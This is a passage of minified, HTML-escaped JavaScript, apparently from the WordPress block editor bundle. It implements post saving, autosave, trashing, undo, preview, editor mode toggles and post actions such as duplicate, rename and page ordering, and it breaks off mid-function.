Ps=(e,t)=&gt;({select:s,registry:n})=&gt;{const{id:o,type:r}=s.getCurrentPost();n.dispatch(u.store).editEntityRecord(&quot;postType&quot;,r,o,e,t)},js=(e={})=&gt;async({select:t,dispatch:s,registry:n})=&gt;{if(!t.isEditedPostSaveable())return;const o=t.getEditedPostContent();e.isAutosave||s.editPost({content:o},{undoIgnore:!0});const r=t.getCurrentPost();let i={id:r.id,...n.select(u.store).getEntityRecordNonTransientEdits(&quot;postType&quot;,r.type,r.id),content:o};s({type:&quot;REQUEST_POST_UPDATE_START&quot;,options:e});let a=!1;try{i=await(0,h.applyFiltersAsync)(&quot;editor.preSavePost&quot;,i,e)}catch(e){a=e}if(!a)try{await n.dispatch(u.store).saveEntityRecord(&quot;postType&quot;,r.type,i,e)}catch(e){a=e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;An error occurred while updating.&quot;)}if(a||(a=n.select(u.store).getLastEntitySaveError(&quot;postType&quot;,r.type,r.id)),!a)try{await(0,h.applyFilters)(&quot;editor.__unstableSavePost&quot;,Promise.resolve(),e)}catch(e){a=e}if(!a)try{await(0,h.doActionAsync)(&quot;editor.savePost&quot;,{id:r.id},e)}catch(e){a=e}if(s({type:&quot;REQUEST_POST_UPDATE_FINISH&quot;,options:e}),a){const e=function(e){const{post:t,edits:s,error:n}=e;if(n&amp;&amp;&quot;rest_autosave_no_changes&quot;===n.code)return[];const o=-1!==[&quot;publish&quot;,&quot;private&quot;,&quot;future&quot;].indexOf(t.status);if(&quot;offline_error&quot;===n.code){const e={publish:(0,fs.__)(&quot;Publishing failed because you were offline.&quot;),private:(0,fs.__)(&quot;Publishing failed because you were offline.&quot;),future:(0,fs.__)(&quot;Scheduling failed because you were offline.&quot;),default:(0,fs.__)(&quot;Updating failed because you were offline.&quot;)};return[!o&amp;&amp;s.status in e?e[s.status]:e.default,{id:&quot;editor-save&quot;}]}const r={publish:(0,fs.__)(&quot;Publishing failed.&quot;),private:(0,fs.__)(&quot;Publishing failed.&quot;),future:(0,fs.__)(&quot;Scheduling failed.&quot;),default:(0,fs.__)(&quot;Updating failed.&quot;)};let i=!o&amp;&amp;s.status in r?r[s.status]:r.default;return n.message&amp;&amp;!/&lt;\/?[^&gt;]*&gt;/.test(n.message)&amp;&amp;(i=[i,n.message].join(&quot; &quot;)),[i,{id:&quot;editor-save&quot;}]}({post:r,edits:i,error:a});e.length&amp;&amp;n.dispatch(_s.store).createErrorNotice(...e)}else{const s=t.getCurrentPost(),o=function(e){const{previousPost:t,post:s,postType:n}=e;if(e.options?.isAutosave)return[];const o=[&quot;publish&quot;,&quot;private&quot;,&quot;future&quot;],r=o.includes(t.status),i=o.includes(s.status),a=&quot;trash&quot;===s.status&amp;&amp;&quot;trash&quot;!==t.status;let l,c,d=n?.viewable??!1;a?(l=n.labels.item_trashed,d=!1):r||i?r&amp;&amp;!i?(l=n.labels.item_reverted_to_draft,d=!1):l=!r&amp;&amp;i?{publish:n.labels.item_published,private:n.labels.item_published_privately,future:n.labels.item_scheduled}[s.status]:n.labels.item_updated:(l=(0,fs.__)(&quot;Draft saved.&quot;),c=!0);const u=[];return d&amp;&amp;u.push({label:c?(0,fs.__)(&quot;View Preview&quot;):n.labels.view_item,url:s.link,openInNewTab:!0}),[l,{id:&quot;editor-save&quot;,type:&quot;snackbar&quot;,actions:u}]}({previousPost:r,post:s,postType:await n.resolveSelect(u.store).getPostType(s.type),options:e});o.length&amp;&amp;n.dispatch(_s.store).createSuccessNotice(...o),e.isAutosave||n.dispatch(g.store).__unstableMarkLastChangeAsPersistent()}};function Es(){return k()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).refreshPost&quot;,{since:&quot;6.0&quot;,version:&quot;6.3&quot;,alternative:&quot;Use the core entities store instead&quot;}),{type:&quot;DO_NOTHING&quot;}}const Ts=()=&gt;async({select:e,dispatch:t,registry:s})=&gt;{const n=e.getCurrentPostType(),o=await s.resolveSelect(u.store).getPostType(n),{rest_base:r,rest_namespace:i=&quot;wp/v2&quot;}=o;t({type:&quot;REQUEST_POST_DELETE_START&quot;});try{const s=e.getCurrentPost();await gs()({path:`/${i}/${r}/${s.id}`,method:&quot;DELETE&quot;}),await t.savePost()}catch(e){s.dispatch(_s.store).createErrorNotice(...(a={error:e},[a.error.message&amp;&amp;&quot;unknown_error&quot;!==a.error.code?a.error.message:(0,fs.__)(&quot;Trashing failed&quot;),{id:&quot;editor-trash-fail&quot;}]))}var a;t({type:&quot;REQUEST_POST_DELETE_FINISH&quot;})},Is=({local:e=!1,...t}={})=&gt;async({select:s,dispatch:n})=&gt;{const o=s.getCurrentPost();if(&quot;wp_template&quot;!==o.type)if(e){const e=s.isEditedPostNew(),t=s.getEditedPostAttribute(&quot;title&quot;),n=s.getEditedPostAttribute(&quot;content&quot;),r=s.getEditedPostAttribute(&quot;excerpt&quot;);!function(e,t,s,n,o){window.sessionStorage.setItem(bs(e,t),JSON.stringify({post_title:s,content:n,excerpt:o}))}(o.id,e,t,n,r)}else await n.savePost({isAutosave:!0,...t})},Bs=({forceIsAutosaveable:e}={})=&gt;async({select:t,dispatch:s})=&gt;{if((e||t.isEditedPostAutosaveable())&amp;&amp;!t.isPostLocked()){[&quot;draft&quot;,&quot;auto-draft&quot;].includes(t.getEditedPostAttribute(&quot;status&quot;))?await s.savePost({isPreview:!0}):await s.autosave({isPreview:!0})}return t.getEditedPostPreviewLink()},Ns=()=&gt;({registry:e})=&gt;{e.dispatch(u.store).redo()},Rs=()=&gt;({registry:e})=&gt;{e.dispatch(u.store).undo()};function Ds(){return k()(&quot;wp.data.dispatch( &#039;core/editor&#039; ).createUndoLevel&quot;,{since:&quot;6.0&quot;,version:&quot;6.3&quot;,alternative:&quot;Use the core entities store instead&quot;}),{type:&quot;DO_NOTHING&quot;}}function As(e){return{type:&quot;UPDATE_POST_LOCK&quot;,lock:e}}const Ms=()=&gt;({registry:e})=&gt;{e.dispatch(C.store).set(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;,!0)},Ls=()=&gt;({registry:e})=&gt;{e.dispatch(C.store).set(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;,!1)};function Os(e){return{type:&quot;LOCK_POST_SAVING&quot;,lockName:e}}function Fs(e){return{type:&quot;UNLOCK_POST_SAVING&quot;,lockName:e}}function Vs(e){return{type:&quot;LOCK_POST_AUTOSAVING&quot;,lockName:e}}function Us(e){return{type:&quot;UNLOCK_POST_AUTOSAVING&quot;,lockName:e}}const Hs=(e,t={})=&gt;({select:s,dispatch:n,registry:o})=&gt;{const{__unstableShouldCreateUndoLevel:r,selection:i}=t,a={blocks:e,selection:i};if(!1!==r){const{id:e,type:t}=s.getCurrentPost();if(o.select(u.store).getEditedEntityRecord(&quot;postType&quot;,t,e).blocks===a.blocks)return void o.dispatch(u.store).__unstableCreateUndoLevel(&quot;postType&quot;,t,e);a.content=({blocks:e=[]})=&gt;(0,x.__unstableSerializeAndClean)(e)}n.editPost(a)};function zs(e){return{type:&quot;UPDATE_EDITOR_SETTINGS&quot;,settings:e}}const Gs=e=&gt;({dispatch:t,registry:s,select:n})=&gt;{n.__unstableIsEditorReady()&amp;&amp;(s.dispatch(g.store).clearSelectedBlock(),t.editPost({selection:void 0},{undoIgnore:!0})),t({type:&quot;SET_RENDERING_MODE&quot;,mode:e})};function $s(e){return{type:&quot;SET_DEVICE_TYPE&quot;,deviceType:e}}const Ws=e=&gt;({registry:t})=&gt;{const s=t.select(C.store).get(&quot;core&quot;,&quot;inactivePanels&quot;)??[];let n;n=!!s?.includes(e)?s.filter((t=&gt;t!==e)):[...s,e],t.dispatch(C.store).set(&quot;core&quot;,&quot;inactivePanels&quot;,n)},Zs=e=&gt;({registry:t})=&gt;{const s=t.select(C.store).get(&quot;core&quot;,&quot;openPanels&quot;)??[];let n;n=!!s?.includes(e)?s.filter((t=&gt;t!==e)):[...s,e],t.dispatch(C.store).set(&quot;core&quot;,&quot;openPanels&quot;,n)};function Ys(e){return{type:&quot;REMOVE_PANEL&quot;,panelName:e}}const qs=e=&gt;({dispatch:t,registry:s})=&gt;{&quot;object&quot;==typeof e&amp;&amp;e.hasOwnProperty(&quot;rootClientId&quot;)&amp;&amp;e.hasOwnProperty(&quot;insertionIndex&quot;)&amp;&amp;$(s.dispatch(g.store)).setInsertionPoint({rootClientId:e.rootClientId,index:e.insertionIndex}),t({type:&quot;SET_IS_INSERTER_OPENED&quot;,value:e})};function Ks(e){return{type:&quot;SET_IS_LIST_VIEW_OPENED&quot;,isOpen:e}}const Qs=({createNotice:e=!0}={})=&gt;({dispatch:t,registry:s})=&gt;{const n=s.select(C.store).get(&quot;core&quot;,&quot;distractionFree&quot;);n&amp;&amp;s.dispatch(C.store).set(&quot;core&quot;,&quot;fixedToolbar&quot;,!1),n||s.batch((()=&gt;{s.dispatch(C.store).set(&quot;core&quot;,&quot;fixedToolbar&quot;,!0),t.setIsInserterOpened(!1),t.setIsListViewOpened(!1),$(s.dispatch(g.store)).resetZoomLevel()})),s.batch((()=&gt;{s.dispatch(C.store).set(&quot;core&quot;,&quot;distractionFree&quot;,!n),e&amp;&amp;s.dispatch(_s.store).createInfoNotice(n?(0,fs.__)(&quot;Distraction free mode deactivated.&quot;):(0,fs.__)(&quot;Distraction free mode activated.&quot;),{id:&quot;core/editor/distraction-free-mode/notice&quot;,type:&quot;snackbar&quot;,actions:[{label:(0,fs.__)(&quot;Undo&quot;),onClick:()=&gt;{s.batch((()=&gt;{s.dispatch(C.store).set(&quot;core&quot;,&quot;fixedToolbar&quot;,n),s.dispatch(C.store).toggle(&quot;core&quot;,&quot;distractionFree&quot;)}))}}]})}))},Xs=()=&gt;({registry:e})=&gt;{e.dispatch(C.store).toggle(&quot;core&quot;,&quot;focusMode&quot;);const t=e.select(C.store).get(&quot;core&quot;,&quot;focusMode&quot;);e.dispatch(_s.store).createInfoNotice(t?(0,fs.__)(&quot;Spotlight mode activated.&quot;):(0,fs.__)(&quot;Spotlight mode deactivated.&quot;),{id:&quot;core/editor/toggle-spotlight-mode/notice&quot;,type:&quot;snackbar&quot;,actions:[{label:(0,fs.__)(&quot;Undo&quot;),onClick:()=&gt;{e.dispatch(C.store).toggle(&quot;core&quot;,&quot;focusMode&quot;)}}]})},Js=()=&gt;({registry:e})=&gt;{e.dispatch(C.store).toggle(&quot;core&quot;,&quot;fixedToolbar&quot;);const t=e.select(C.store).get(&quot;core&quot;,&quot;fixedToolbar&quot;);e.dispatch(_s.store).createInfoNotice(t?(0,fs.__)(&quot;Top toolbar activated.&quot;):(0,fs.__)(&quot;Top toolbar deactivated.&quot;),{id:&quot;core/editor/toggle-top-toolbar/notice&quot;,type:&quot;snackbar&quot;,actions:[{label:(0,fs.__)(&quot;Undo&quot;),onClick:()=&gt;{e.dispatch(C.store).toggle(&quot;core&quot;,&quot;fixedToolbar&quot;)}}]})},en=e=&gt;({dispatch:t,registry:s})=&gt;{if(s.dispatch(C.store).set(&quot;core&quot;,&quot;editorMode&quot;,e),&quot;visual&quot;!==e&amp;&amp;(s.dispatch(g.store).clearSelectedBlock(),$(s.dispatch(g.store)).resetZoomLevel()),&quot;visual&quot;===e)(0,ms.speak)((0,fs.__)(&quot;Visual editor selected&quot;),&quot;assertive&quot;);else if(&quot;text&quot;===e){s.select(C.store).get(&quot;core&quot;,&quot;distractionFree&quot;)&amp;&amp;t.toggleDistractionFree(),(0,ms.speak)((0,fs.__)(&quot;Code editor selected&quot;),&quot;assertive&quot;)}};function tn(){return{type:&quot;OPEN_PUBLISH_SIDEBAR&quot;}}function sn(){return{type:&quot;CLOSE_PUBLISH_SIDEBAR&quot;}}function nn(){return{type:&quot;TOGGLE_PUBLISH_SIDEBAR&quot;}}const on=e=&gt;(...t)=&gt;({registry:s})=&gt;{k()(&quot;`wp.data.dispatch( &#039;core/editor&#039; ).&quot;+e+&quot;`&quot;,{since:&quot;5.3&quot;,alternative:&quot;`wp.data.dispatch( &#039;core/block-editor&#039; ).&quot;+e+&quot;`&quot;,version:&quot;6.2&quot;}),s.dispatch(g.store)[e](...t)},rn=on(&quot;resetBlocks&quot;),an=on(&quot;receiveBlocks&quot;),ln=on(&quot;updateBlock&quot;),cn=on(&quot;updateBlockAttributes&quot;),dn=on(&quot;selectBlock&quot;),un=on(&quot;startMultiSelect&quot;),pn=on(&quot;stopMultiSelect&quot;),mn=on(&quot;multiSelect&quot;),hn=on(&quot;clearSelectedBlock&quot;),gn=on(&quot;toggleSelection&quot;),_n=on(&quot;replaceBlocks&quot;),fn=on(&quot;replaceBlock&quot;),bn=on(&quot;moveBlocksDown&quot;),yn=on(&quot;moveBlocksUp&quot;),xn=on(&quot;moveBlockToPosition&quot;),vn=on(&quot;insertBlock&quot;),wn=on(&quot;insertBlocks&quot;),Sn=on(&quot;showInsertionPoint&quot;),kn=on(&quot;hideInsertionPoint&quot;),Cn=on(&quot;setTemplateValidity&quot;),Pn=on(&quot;synchronizeTemplate&quot;),jn=on(&quot;mergeBlocks&quot;),En=on(&quot;removeBlocks&quot;),Tn=on(&quot;removeBlock&quot;),In=on(&quot;toggleBlockMode&quot;),Bn=on(&quot;startTyping&quot;),Nn=on(&quot;stopTyping&quot;),Rn=on(&quot;enterFormattedText&quot;),Dn=on(&quot;exitFormattedText&quot;),An=on(&quot;insertDefaultBlock&quot;),Mn=on(&quot;updateBlockListSettings&quot;),Ln=window.wp.htmlEntities;function On(e){return!!e&amp;&amp;(e.source===D&amp;&amp;(Boolean(e?.plugin)||e?.has_theme_file))}var Fn=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z&quot;})});var Vn={id:&quot;view-post&quot;,label:(0,fs._x)(&quot;View&quot;,&quot;verb&quot;),isPrimary:!0,icon:Fn,isEligible:e=&gt;&quot;trash&quot;!==e.status,callback(e,{onActionPerformed:t}){const s=e[0];window.open(s?.link,&quot;_blank&quot;),t&amp;&amp;t(e)}};var Un={id:&quot;view-post-revisions&quot;,context:&quot;list&quot;,label(e){const t=e[0]._links?.[&quot;version-history&quot;]?.[0]?.count??0;return(0,fs.sprintf)((0,fs.__)(&quot;View revisions (%d)&quot;),t)},isEligible(e){if(&quot;trash&quot;===e.status)return!1;return!!(e?._links?.[&quot;predecessor-version&quot;]?.[0]?.id??null)&amp;&amp;(e?._links?.[&quot;version-history&quot;]?.[0]?.count??0)&gt;1},callback(e,{onActionPerformed:t}){const s=e[0],n=(0,w.addQueryArgs)(&quot;revision.php&quot;,{revision:s?._links?.[&quot;predecessor-version&quot;]?.[0]?.id});document.location.href=n,t&amp;&amp;t(e)}};const Hn=window.wp.components;var zn=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z&quot;})});var Gn=function(){return Gn=Object.assign||function(e){for(var t,s=1,n=arguments.length;s&lt;n;s++)for(var o in t=arguments[s])Object.prototype.hasOwnProperty.call(t,o)&amp;&amp;(e[o]=t[o]);return e},Gn.apply(this,arguments)};Object.create;Object.create;&quot;function&quot;==typeof SuppressedError&amp;&amp;SuppressedError;function $n(e){return e.toLowerCase()}var Wn=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],Zn=/[^A-Z0-9]+/gi;function Yn(e,t,s){return t instanceof RegExp?e.replace(t,s):t.reduce((function(e,t){return e.replace(t,s)}),e)}function qn(e,t){return void 0===t&amp;&amp;(t={}),function(e,t){void 0===t&amp;&amp;(t={});for(var s=t.splitRegexp,n=void 0===s?Wn:s,o=t.stripRegexp,r=void 0===o?Zn:o,i=t.transform,a=void 0===i?$n:i,l=t.delimiter,c=void 0===l?&quot; &quot;:l,d=Yn(Yn(e,n,&quot;$1\0$2&quot;),r,&quot;\0&quot;),u=0,p=d.length;&quot;\0&quot;===d.charAt(u);)u++;for(;&quot;\0&quot;===d.charAt(p-1);)p--;return d.slice(u,p).split(&quot;\0&quot;).map(a).join(c)}(e,Gn({delimiter:&quot;.&quot;},t))}function Kn(e,t){return void 0===t&amp;&amp;(t={}),qn(e,Gn({delimiter:&quot;-&quot;},t))}function Qn(e,t){return`fields-create-template-part-modal__area-option-${e}-${t}`}function Xn(e,t){return`fields-create-template-part-modal__area-option-description-${e}-${t}`}function Jn({modalTitle:e,...t}){const s=(0,d.useSelect)((e=&gt;e(u.store).getPostType(&quot;wp_template_part&quot;)?.labels?.add_new_item),[]);return(0,c.jsx)(Hn.Modal,{title:e||s,onRequestClose:t.closeModal,overlayClassName:&quot;fields-create-template-part-modal&quot;,focusOnMount:&quot;firstContentElement&quot;,size:&quot;medium&quot;,children:(0,c.jsx)(to,{...t})})}const eo=e=&gt;&quot;header&quot;===e?O:&quot;footer&quot;===e?F:&quot;sidebar&quot;===e?V:U;function to({defaultArea:e=&quot;uncategorized&quot;,blocks:t=[],confirmLabel:s=(0,fs.__)(&quot;Add&quot;),closeModal:n,onCreate:o,onError:r,defaultTitle:i=&quot;&quot;}){const{createErrorNotice:a}=(0,d.useDispatch)(_s.store),{saveEntityRecord:l}=(0,d.useDispatch)(u.store),h=(0,d.useSelect)((e=&gt;e(u.store).getEntityRecords(&quot;postType&quot;,&quot;wp_template_part&quot;,{per_page:-1})),[])??[],[g,_]=(0,p.useState)(i),[f,b]=(0,p.useState)(e),[y,v]=(0,p.useState)(!1),w=(0,m.useInstanceId)(Jn),S=(0,d.useSelect)((e=&gt;e(u.store).getCurrentTheme()?.default_template_part_areas),[]);async function k(){if(g&amp;&amp;!y)try{v(!0);const e=((e,t)=&gt;{const s=e.toLowerCase(),n=t.map((e=&gt;e.title.rendered.toLowerCase()));if(!n.includes(s))return e;let o=2;for(;n.includes(`${s} ${o}`);)o++;return`${e} ${o}`})(g,h),s=(e=&gt;Kn(e).replace(/[^\w-]+/g,&quot;&quot;)||&quot;wp-custom-part&quot;)(e),n=await l(&quot;postType&quot;,&quot;wp_template_part&quot;,{slug:s,title:e,content:(0,x.serialize)(t),area:f},{throwOnError:!0});await o(n)}catch(e){const t=e instanceof Error&amp;&amp;&quot;code&quot;in e&amp;&amp;e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;An error occurred while creating the template part.&quot;);a(t,{type:&quot;snackbar&quot;}),r?.()}finally{v(!1)}}return(0,c.jsx)(&quot;form&quot;,{onSubmit:async e=&gt;{e.preventDefault(),await k()},children:(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;4&quot;,children:[(0,c.jsx)(Hn.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Name&quot;),value:g,onChange:_,required:!0}),(0,c.jsxs)(&quot;fieldset&quot;,{className:&quot;fields-create-template-part-modal__area-fieldset&quot;,children:[(0,c.jsx)(Hn.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:(0,fs.__)(&quot;Area&quot;)}),(0,c.jsx)(&quot;div&quot;,{className:&quot;fields-create-template-part-modal__area-radio-group&quot;,children:(S??[]).map((e=&gt;{const t=eo(e.icon);return(0,c.jsxs)(&quot;div&quot;,{className:&quot;fields-create-template-part-modal__area-radio-wrapper&quot;,children:[(0,c.jsx)(&quot;input&quot;,{type:&quot;radio&quot;,id:Qn(e.area,w),name:`fields-create-template-part-modal__area-${w}`,value:e.area,checked:f===e.area,onChange:()=&gt;{b(e.area)},&quot;aria-describedby&quot;:Xn(e.area,w)}),(0,c.jsx)(Hn.Icon,{icon:t,className:&quot;fields-create-template-part-modal__area-radio-icon&quot;}),(0,c.jsx)(&quot;label&quot;,{htmlFor:Qn(e.area,w),className:&quot;fields-create-template-part-modal__area-radio-label&quot;,children:e.label}),(0,c.jsx)(Hn.Icon,{icon:zn,className:&quot;fields-create-template-part-modal__area-radio-checkmark&quot;}),(0,c.jsx)(&quot;p&quot;,{className:&quot;fields-create-template-part-modal__area-radio-description&quot;,id:Xn(e.area,w),children:e.description})]},e.area)}))})]}),(0,c.jsxs)(Hn.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{n()},children:(0,fs.__)(&quot;Cancel&quot;)}),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,&quot;aria-disabled&quot;:!g||y,isBusy:y,children:s})]})]})})}function so(e){return&quot;wp_template&quot;===e.type||&quot;wp_template_part&quot;===e.type}function no(e,t=(0,fs.__)(&quot;(no title)&quot;)){let s=&quot;&quot;;return&quot;string&quot;==typeof e.title?s=(0,Ln.decodeEntities)(e.title):e.title&amp;&amp;&quot;rendered&quot;in e.title?s=(0,Ln.decodeEntities)(e.title.rendered):e.title&amp;&amp;&quot;raw&quot;in e.title&amp;&amp;(s=(0,Ln.decodeEntities)(e.title.raw)),s||t}function oo(e){return!!e&amp;&amp;([e.source,e.source].includes(&quot;custom&quot;)&amp;&amp;!Boolean(&quot;wp_template&quot;===e.type&amp;&amp;e?.plugin)&amp;&amp;!e.has_theme_file)}const ro={id:&quot;duplicate-template-part&quot;,label:(0,fs._x)(&quot;Duplicate&quot;,&quot;action label&quot;),isEligible:e=&gt;&quot;wp_template_part&quot;===e.type,modalHeader:(0,fs._x)(&quot;Duplicate template part&quot;,&quot;action label&quot;),modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t})=&gt;{const[s]=e,n=(0,p.useMemo)((()=&gt;s.blocks??(0,x.parse)(&quot;string&quot;==typeof s.content?s.content:s.content.raw,{__unstableSkipMigrationLogs:!0})),[s.content,s.blocks]),{createSuccessNotice:o}=(0,d.useDispatch)(_s.store);return(0,c.jsx)(to,{blocks:n,defaultArea:s.area,defaultTitle:(0,fs.sprintf)((0,fs._x)(&quot;%s (Copy)&quot;,&quot;template part&quot;),no(s)),onCreate:function(e){o((0,fs.sprintf)((0,fs._x)(&#039;&quot;%s&quot; duplicated.&#039;,&quot;template part&quot;),no(e)),{type:&quot;snackbar&quot;,id:&quot;edit-site-patterns-success&quot;}),t?.()},onError:t,confirmLabel:(0,fs._x)(&quot;Duplicate&quot;,&quot;action label&quot;),closeModal:t??(()=&gt;{})})}};var io=ro;const ao=window.wp.patterns,{lock:lo,unlock:co}=(0,z.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/fields&quot;),{CreatePatternModalContents:uo,useDuplicatePatternProps:po}=co(ao.privateApis),mo={id:&quot;duplicate-pattern&quot;,label:(0,fs._x)(&quot;Duplicate&quot;,&quot;action label&quot;),isEligible:e=&gt;&quot;wp_template_part&quot;!==e.type,modalHeader:(0,fs._x)(&quot;Duplicate pattern&quot;,&quot;action label&quot;),modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t})=&gt;{const[s]=e,n=po({pattern:s,onSuccess:()=&gt;t?.()});return(0,c.jsx)(uo,{onClose:t,confirmLabel:(0,fs._x)(&quot;Duplicate&quot;,&quot;action label&quot;),...n})}};var ho=mo;const{PATTERN_TYPES:go}=co(ao.privateApis),_o={id:&quot;rename-post&quot;,label:(0,fs.__)(&quot;Rename&quot;),modalFocusOnMount:&quot;firstContentElement&quot;,isEligible:e=&gt;&quot;trash&quot;!==e.status&amp;&amp;([&quot;wp_template&quot;,&quot;wp_template_part&quot;,...Object.values(go)].includes(e.type)?function(e){return&quot;wp_template&quot;===e.type}(e)?oo(e)&amp;&amp;e.is_custom&amp;&amp;e.permissions?.update:function(e){return&quot;wp_template_part&quot;===e.type}(e)?&quot;custom&quot;===e.source&amp;&amp;!e?.has_theme_file&amp;&amp;e.permissions?.update:e.type===go.user&amp;&amp;e.permissions?.update:e.permissions?.update),RenderModal:({items:e,closeModal:t,onActionPerformed:s})=&gt;{const[n]=e,[o,r]=(0,p.useState)((()=&gt;no(n,&quot;&quot;))),{editEntityRecord:i,saveEditedEntityRecord:a}=(0,d.useDispatch)(u.store),{createSuccessNotice:l,createErrorNotice:m}=(0,d.useDispatch)(_s.store);return(0,c.jsx)(&quot;form&quot;,{onSubmit:async function(c){c.preventDefault();try{await i(&quot;postType&quot;,n.type,n.id,{title:o}),r(&quot;&quot;),t?.(),await a(&quot;postType&quot;,n.type,n.id,{throwOnError:!0}),l((0,fs.__)(&quot;Name updated&quot;),{type:&quot;snackbar&quot;}),s?.(e)}catch(e){const t=e,s=t.message&amp;&amp;&quot;unknown_error&quot;!==t.code?t.message:(0,fs.__)(&quot;An error occurred while updating the name&quot;);m(s,{type:&quot;snackbar&quot;})}},children:(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,c.jsx)(Hn.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:(0,fs.__)(&quot;Name&quot;),value:o,onChange:r,required:!0}),(0,c.jsxs)(Hn.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},children:(0,fs.__)(&quot;Cancel&quot;)}),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,children:(0,fs.__)(&quot;Save&quot;)})]})]})})}};var fo=_o;const bo={id:&quot;order-pages&quot;,label:(0,fs.__)(&quot;Order&quot;),isEligible:({status:e})=&gt;&quot;trash&quot;!==e,modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:function({items:e,closeModal:t,onActionPerformed:s}){const[n,o]=(0,p.useState)(e[0]),{editEntityRecord:r,saveEditedEntityRecord:i}=(0,d.useDispatch)(u.store),{createSuccessNotice:a,createErrorNotice:l}=(0,d.useDispatch)(_s.store),m=function(e){return&quot;number&quot;==typeof e.menu_order&amp;&amp;Number.isInteger(e.menu_order)}(n);return(0,c.jsx)(&quot;form&quot;,{onSubmit:async function(o){if(o.preventDefault(),m)try{await r(&quot;postType&quot;,n.type,n.id,{menu_order:n.menu_order}),t?.(),await i(&quot;postType&quot;,n.type,n.id,{throwOnError:!0}),a((0,fs.__)(&quot;Order updated.&quot;),{type:&quot;snackbar&quot;}),s?.(e)}catch(e){const t=e,s=t.message&amp;&amp;&quot;unknown_error&quot;!==t.code?t.message:(0,fs.__)(&quot;An error occurred while updating the order&quot;);l(s,{type:&quot;snackbar&quot;})}},children:(0,c.jsxs)(Hn.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,c.jsx)(&quot;div&quot;,{children:(0,fs.__)(&quot;Determines the order of pages. Pages with the same order value are sorted alphabetically. Negative order values are supported.&quot;)}),(0,c.jsx)(Hn.__experimentalInputControl,{__next40pxDefaultSize:!0,label:(0,fs.__)(&quot;Order&quot;),type:&quot;number&quot;,value:&quot;number&quot;==typeof n.menu_order&amp;&amp;Number.isInteger(n.menu_order)?String(n.menu_order):&quot;&quot;,onChange:e=&gt;{const t=parseInt(e,10);o({...n,menu_order:isNaN(t)?void 0:t})}}),(0,c.jsxs)(Hn.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{t?.()},children:(0,fs.__)(&quot;Cancel&quot;)}),(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,accessibleWhenDisabled:!0,disabled:!m,children:(0,fs.__)(&quot;Save&quot;)})]})]})})}};var yo=bo;&quot;stream&quot;in Blob.prototype||Object.defineProperty(Blob.prototype,&quot;stream&quot;,{value(){return new Response(this).body}}),&quot;setBigUint64&quot;in DataView.prototype||Object.defineProperty(DataView.prototype,&quot;setBigUint64&quot;,{value(e,t,s){const n=Number(0xffffffffn&amp;t),o=Number(t&gt;&gt;32n);this.setUint32(e+(s?0:4),n,s),this.setUint32(e+(s?4:0),o,s)}});var xo=e=&gt;new DataView(new ArrayBuffer(e)),vo=e=&gt;new Uint8Array(e.buffer||e),wo=e=&gt;(new TextEncoder).encode(String(e)),So=e=&gt;Math.min(4294967295,Number(e)),ko=e=&gt;Math.min(65535,Number(e));function Co(e,t,s){void 0===t||t instanceof Date||(t=new Date(t));const n=void 0!==e;if(s||(s=n?436:509),e instanceof File)return{isFile:n,t:t||new Date(e.lastModified),bytes:e.stream(),mode:s};if(e instanceof Response)return{isFile:n,t:t||new Date(e.headers.get(&quot;Last-Modified&quot;)||Date.now()),bytes:e.body,mode:s};if(void 0===t)t=new Date;else if(isNaN(t))throw new Error(&quot;Invalid modification date.&quot;);if(!n)return{isFile:n,t,mode:s};if(&quot;string&quot;==typeof e)return{isFile:n,t,bytes:wo(e),mode:s};if(e instanceof Blob)return{isFile:n,t,bytes:e.stream(),mode:s};if(e instanceof Uint8Array||e instanceof ReadableStream)return{isFile:n,t,bytes:e,mode:s};if(e instanceof ArrayBuffer||ArrayBuffer.isView(e))return{isFile:n,t,bytes:vo(e),mode:s};if(Symbol.asyncIterator in e)return{isFile:n,t,bytes:Po(e[Symbol.asyncIterator]()),mode:s};throw 